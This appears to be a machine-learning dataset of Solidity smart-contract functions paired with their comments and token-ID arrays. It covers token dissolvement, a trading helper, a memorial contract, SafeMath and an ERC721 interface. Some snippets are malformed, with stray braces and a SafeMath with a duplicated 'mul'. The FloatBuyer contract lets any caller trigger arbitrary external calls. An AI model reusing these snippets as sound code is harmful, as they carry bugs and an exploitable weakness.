IObservable(address(drpuToken)).unregisterObserver(prevProxy); // Register this proxy as observer IObservable(address(drpsToken)).registerObserver(address(this)); IObservable(address(drpuToken)).registerObserver(address(this)); // Transfer dissolvement funds uint amountToTransfer = DISSOLVEMENT_AMOUNT; if (amountToTransfer > address(this).balance) { amountToTransfer = address(this).balance; } dissolvementFund.transfer(amountToTransfer); } /** * Returns the combined total supply of all drp tokens * * @return The combined total drp supply */ function getTotalSupply() public view returns (uint) { uint sum = 0; sum += drpsToken.totalSupply(); sum += drpuToken.totalSupply(); return sum; } /** * Returns true if `_owner` has a balance allocated * * @param _owner The account that the balance is allocated for * @return True if there is a balance that belongs to `_owner` */ function hasBalance(address _owner) public view returns (bool) { return allocatedIndex.length > 0 && _owner == allocatedIndex[allocated[_owner].index]; } /** * Get the allocated drps or drpu token balance of `_owner` * * @param _token The address to test against * @param _owner The address from which the allocated token balance will be retrieved * @return The allocated drps token balance */ function balanceOf(address _token, address _owner) public view returns (uint) { uint balance = 0; if (address(drpsToken) == _token) { balance = allocated[_owner].drps; } else if (address(drpuToken) == _token) { balance = allocated[_owner].drpu; } return balance; } /** * Executes the proposal * * Dissolves DCORP Decentralized and allows the ether to be withdrawn * * Should only be called after the claiming period */ function execute() public only_at_stage(Stages.Deployed) only_after_claiming_period { // Mark as executed stage = Stages.Executed; withdrawDeadline = now + WITHDRAW_DURATION; // Remaining balance is claimable claimTotalEther = address(this).balance; // Disable tokens IManagedToken(address(drpsToken)).lock(); IManagedToken(address(drpuToken)).lock(); // Remove self token as owner IMultiOwned(address(drpsToken)).removeOwner(address(this)); IMultiOwned(address(drpuToken)).removeOwner(address(this)); } /** * Allows an account to claim ether during the claiming period */ function withdraw() public only_at_stage(Stages.Executed) only_during_withdraw_period only_token_holder only_authenticated { Balance storage b = allocated[msg.sender]; uint weight = b.drpu + _convertDrpsWeight(b.drps); // Mark claimed b.drpu = 0; b.drps = 0; // Transfer amount uint amountToTransfer = weight * claimTotalEther / claimTotalWeight; msg.sender.transfer(amountToTransfer); } /** * Event handler that initializes the token conversion * * Called by `_token` when a token amount is received on * the address of this token changer * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal only_during_claiming_period only_accepted_token(_token) { require(_token == msg.sender, "f:onTokensReceived;e:only_receiving_token"); // Allocate tokens if (!hasBalance(_from)) { allocated[_from] = Balance( 0, 0, allocatedIndex.push(_from) - 1); } Balance storage b = allocated[_from]; if (_token == address(drpsToken)) { b.drps += _value; claimTotalWeight += _convertDrpsWeight(_value); } else { b.drpu += _value; claimTotalWeight += _value; } } /** * Failsafe mechanism * * Allows the owner to retrieve ether from the contract that was not claimed * within the claiming period. */ function retrieveEther() public only_owner only_after_withdraw_period { selfdestruct(msg.sender); } /** * Failsafe mechanism * * Allows the owner to retrieve tokens (other than DRPS and DRPU tokens) from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner not_accepted_token(_tokenContract) { super.retrieveTokens(_tokenContract); } /** * Converts the weight for DRPS tokens * * @param _value The amount of tokens to convert */ function _convertDrpsWeight(uint _value) private pure returns (uint) { return _value * 2; } }
* @title Transferable ownership Enhances ownership by allowing the current owner to transfer ownership to a new owner #created 01/10/2017 #author Frank Bonnet/
contract TransferableOwnership is ITransferableOwnership, Ownership { } function transferOwnership(address _newOwner) public only_owner { owner = _newOwner; } }
996,995
[ 1, 5912, 429, 23178, 1374, 76, 6872, 23178, 635, 15632, 326, 783, 3410, 358, 7412, 23178, 358, 279, 394, 3410, 2522, 8743, 19, 2163, 19, 31197, 2869, 478, 11500, 605, 265, 2758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12279, 429, 5460, 12565, 353, 467, 5912, 429, 5460, 12565, 16, 14223, 9646, 5310, 288, 203, 203, 203, 97, 203, 565, 445, 7412, 5460, 12565, 12, 2867, 389, 2704, 5541, 13, 1071, 1338, 67, 8443, 288, 203, 3639, 3410, 273, 389, 2704, 5541, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IERC20 { function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IAuctionHouse { function buy( uint256 wethInMax, uint256 bankInMax, uint256 floatOutMin, address to, uint256 deadline ) external returns ( uint256, uint256, uint256 ); function sell( uint256 floatIn, uint256 wethOutMin, uint256 bankOutMin, address to, uint256 deadline ) external returns ( uint256, uint256, uint256 ); } contract FloatBuyer { address owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(owner == msg.sender, "caller is not the owner"); _; } function withdrawERC20(address tokenAddress) public onlyOwner { IERC20 token = IERC20(tokenAddress); token.transferFrom( address(this), msg.sender, token.balanceOf(address(this)) ); } function approve( address tokenAddress, uint256 amount, address spender ) public onlyOwner { IERC20(tokenAddress).approve(spender, amount); } function executeAndBuy( address floatAddress, address usdcTokenAddress, uint256 usdcTokenAmount, address dexAddress, bytes memory dexData, address auctionHouse, uint256 wethInMax, uint256 bankInMax, uint256 floatOutMin, uint256 deadline ) public { // transfer usdc in IERC20 usdc = IERC20(usdcTokenAddress); usdc.transferFrom(msg.sender, address(this), usdcTokenAmount); (bool success1, ) = dexAddress.call(dexData); require(success1, "dex trade not sucessful"); // buy float IAuctionHouse(auctionHouse).buy( wethInMax, bankInMax, floatOutMin, address(this), deadline ); // transfer float out _sendOutAll(IERC20(floatAddress)); // transfer leftover usdc _sendOutAll(usdc); } function executeAndSell( address floatAddress, address usdcTokenAddress, address wethTokenAddress, address dexAddress, bytes memory dexData, address auctionHouse, uint256 floatIn, uint256 wethOutMin, uint256 bankOutMin, uint256 deadline ) public { // transfer float in IERC20 float = IERC20(floatAddress); float.transferFrom(msg.sender, address(this), floatIn); // sell float for WETH IAuctionHouse(auctionHouse).sell( floatIn, wethOutMin, bankOutMin, address(this), deadline ); // sell WETH for USDC (bool success1, ) = dexAddress.call(dexData); require(success1, "dex trade not sucessful"); // transfer USDC out _sendOutAll(IERC20(usdcTokenAddress)); // transfer leftover float _sendOutAll(float); // transfer leftover weth _sendOutAll(IERC20(wethTokenAddress)); } function executeArbitrary( address targetAddress, bytes memory targetCallData ) public onlyOwner returns (bool) { (bool success, ) = targetAddress.call(targetCallData); return success; } function _sendOutAll(IERC20 token) private { token.transferFrom( address(this), msg.sender, token.balanceOf(address(this)) ); } }
transfer usdc in buy float transfer float out transfer leftover usdc
function executeAndBuy( address floatAddress, address usdcTokenAddress, uint256 usdcTokenAmount, address dexAddress, bytes memory dexData, address auctionHouse, uint256 wethInMax, uint256 bankInMax, uint256 floatOutMin, uint256 deadline ) public { IERC20 usdc = IERC20(usdcTokenAddress); usdc.transferFrom(msg.sender, address(this), usdcTokenAmount); (bool success1, ) = dexAddress.call(dexData); require(success1, "dex trade not sucessful"); IAuctionHouse(auctionHouse).buy( wethInMax, bankInMax, floatOutMin, address(this), deadline ); _sendOutAll(IERC20(floatAddress)); _sendOutAll(usdc); }
5,838,860
[ 1, 13866, 584, 7201, 316, 30143, 1431, 7412, 1431, 596, 7412, 29709, 584, 7201, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1836, 1876, 38, 9835, 12, 203, 3639, 1758, 1431, 1887, 16, 203, 3639, 1758, 584, 7201, 1345, 1887, 16, 203, 3639, 2254, 5034, 584, 7201, 1345, 6275, 16, 203, 3639, 1758, 302, 338, 1887, 16, 203, 3639, 1731, 3778, 302, 338, 751, 16, 203, 3639, 1758, 279, 4062, 44, 3793, 16, 203, 3639, 2254, 5034, 341, 546, 382, 2747, 16, 203, 3639, 2254, 5034, 11218, 382, 2747, 16, 203, 3639, 2254, 5034, 1431, 1182, 2930, 16, 203, 3639, 2254, 5034, 14096, 203, 565, 262, 1071, 288, 203, 3639, 467, 654, 39, 3462, 584, 7201, 273, 467, 654, 39, 3462, 12, 407, 7201, 1345, 1887, 1769, 203, 3639, 584, 7201, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 584, 7201, 1345, 6275, 1769, 203, 203, 3639, 261, 6430, 2216, 21, 16, 262, 273, 302, 338, 1887, 18, 1991, 12, 561, 751, 1769, 203, 3639, 2583, 12, 4768, 21, 16, 315, 561, 18542, 486, 1597, 614, 2706, 8863, 203, 203, 3639, 467, 37, 4062, 44, 3793, 12, 69, 4062, 44, 3793, 2934, 70, 9835, 12, 203, 5411, 341, 546, 382, 2747, 16, 203, 5411, 11218, 382, 2747, 16, 203, 5411, 1431, 1182, 2930, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 14096, 203, 3639, 11272, 203, 203, 3639, 389, 4661, 1182, 1595, 12, 45, 654, 39, 3462, 12, 5659, 1887, 10019, 203, 3639, 389, 4661, 1182, 1595, 12, 407, 7201, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x1f85B789655fB4c3CEB448C2733B6b1e387867E0/sources/project_/contracts/extensions/ExtensionBase.sol
* @dev A function modifier to only allow the registered token to execute this function/
modifier onlyToken() { require(msg.sender == _tokenAddress(), "Token: Unauthorized"); _; }
11,602,525
[ 1, 37, 445, 9606, 358, 1338, 1699, 326, 4104, 1147, 358, 1836, 333, 445, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 1345, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 389, 2316, 1887, 9334, 315, 1345, 30, 15799, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; contract Gravestone { Departed public departed; /* the message engraved on the gravestone */ string public epitaph; /* worships to the departed */ Worship[] public worships; uint public worship_count; /* This runs when the contract is executed */ constructor(string _fullname,string _birth_date,string _death_date,string _epitaph) public { departed = Departed({fullname: _fullname, birth_date: _birth_date, death_date: _death_date}); epitaph = _epitaph; } /* worship the departed */ function do_worship(string _fullname,string _message) public returns (string) { uint id = worships.length++; worship_count = worships.length; worships[id] = Worship({fullname: _fullname, message: _message}); return "Thank you"; } struct Departed { /* name of the person */ string fullname; /* birth date of the person */ string birth_date; /* death date of the person */ string death_date; } struct Worship { /* full name of the worship person */ string fullname; /* message to the departed */ string message; } } contract JinYongGravestone is Gravestone { constructor() Gravestone("金庸","1924年3月10日","2018年10月30日","这里躺着一个人,在二十世纪、二十一世纪,他写过几十部武侠小说,这些小说为几亿人喜欢。") public {} }
the message engraved on the gravestone */ worships to the departed */ This runs when the contract is executed */
constructor(string _fullname,string _birth_date,string _death_date,string _epitaph) public { epitaph = _epitaph; }
12,562,760
[ 1, 5787, 883, 570, 2752, 2155, 603, 326, 3087, 26923, 476, 342, 14591, 3261, 87, 358, 326, 26000, 329, 342, 1220, 7597, 1347, 326, 6835, 353, 7120, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 12316, 12, 1080, 389, 21885, 16, 1080, 389, 22531, 67, 712, 16, 1080, 389, 323, 421, 67, 712, 16, 1080, 389, 881, 305, 16003, 13, 1071, 288, 203, 202, 202, 881, 305, 16003, 273, 389, 881, 305, 16003, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xb9afA94Eb375cbCcd776032C639C7716835a0Ede/sources/MyCoin.sol
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./
library SafeMath { } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function sub_XYZ(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
3,643,187
[ 1, 24114, 1879, 348, 7953, 560, 1807, 30828, 5295, 598, 3096, 9391, 4271, 18, 27443, 5295, 316, 348, 7953, 560, 2193, 603, 9391, 18, 1220, 848, 17997, 563, 316, 22398, 16, 2724, 5402, 81, 414, 11234, 6750, 716, 392, 9391, 14183, 392, 555, 16, 1492, 353, 326, 4529, 6885, 316, 3551, 1801, 5402, 11987, 8191, 18, 1375, 9890, 10477, 68, 3127, 3485, 333, 509, 89, 608, 635, 15226, 310, 326, 2492, 1347, 392, 1674, 9391, 87, 18, 11637, 333, 5313, 3560, 434, 326, 22893, 5295, 19229, 4174, 392, 7278, 667, 434, 22398, 16, 1427, 518, 1807, 14553, 358, 999, 518, 3712, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 97, 203, 565, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 276, 273, 279, 397, 324, 31, 203, 3639, 2583, 12, 71, 1545, 279, 16, 315, 9890, 10477, 30, 2719, 9391, 8863, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 203, 565, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 70, 1648, 279, 16, 315, 9890, 10477, 30, 720, 25693, 9391, 8863, 203, 3639, 2254, 5034, 276, 273, 279, 300, 324, 31, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 565, 445, 720, 67, 23479, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 70, 1648, 279, 16, 315, 9890, 10477, 30, 720, 25693, 9391, 8863, 203, 3639, 2254, 5034, 276, 273, 279, 300, 324, 31, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 203, 203, 565, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 261, 69, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 276, 273, 279, 380, 324, 31, 203, 3639, 2583, 12, 71, 342, 279, 422, 324, 16, 315, 9890, 10477, 30, 23066, 9391, 8863, 203, 203, 3639, 327, 276, 31, 203, 565, 289, 2 ]
// File: openzeppelin\contracts\utils\introspection\IERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: openzeppelin\contracts\token\ERC721\IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of 